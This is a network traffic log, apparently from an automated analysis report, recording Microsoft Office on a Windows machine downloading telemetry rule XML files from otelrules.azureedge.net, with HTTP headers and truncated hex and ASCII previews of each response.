2024-11-07 16:25:30 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: bcab188a-c01e-0014-325f-2ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162530Z-17df447cdb5km9skhC1DFWy2rc00000004u0000000008qsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:30 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:30 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162530Z-16547b76f7fkcrm9hC1DFWxdag00000008d000000000qcz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:31 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:31 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c82eced8-401e-008c-2858-2e86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162531Z-17df447cdb5zfhrmhC1DFWh33000000004kg000000009b9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:31 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:31 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 689e16da-301e-000c-0a55-2e323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162531Z-17df447cdb5c9wvxhC1DFWn08n00000004qg00000000f89m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:31 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:31 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162531Z-16547b76f7fdf69shC1DFWcpd0000000085000000000vqyw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:31 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:31 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:31 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 527b7663-001e-00ad-545f-2e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162531Z-17df447cdb5bz95mhC1DFWnk7w00000004g0000000006fyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:31 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:31 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:31 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: ad01162d-901e-0064-5fc3-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162531Z-16547b76f7fvllnfhC1DFWxkg800000008g00000000049x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:32 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:32 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8fcaa1bb-301e-006e-11d2-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162532Z-16547b76f7f7scqbhC1DFW0m5w000000085000000000q36p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:33 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:33 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:33 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 3018dbe1-101e-008d-70d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162533Z-16547b76f7fmbrhqhC1DFWkds800000008f0000000007ucm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:33 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:33 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:33 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:33 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a0cc50e9-d01e-0066-4e5c-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162533Z-15869dbbcc6lq45jhC1DFWbkc8000000023g000000004s3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:33 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:33 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:33 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:33 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 182ca2aa-101e-00a2-3955-2e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162533Z-17df447cdb54qlp6hC1DFWqcfc00000004h000000000dfaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:33 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:33 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:33 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 117ebb00-e01e-0020-3440-2ede90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162533Z-15869dbbcc6lq45jhC1DFWbkc800000001z000000000k3nx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
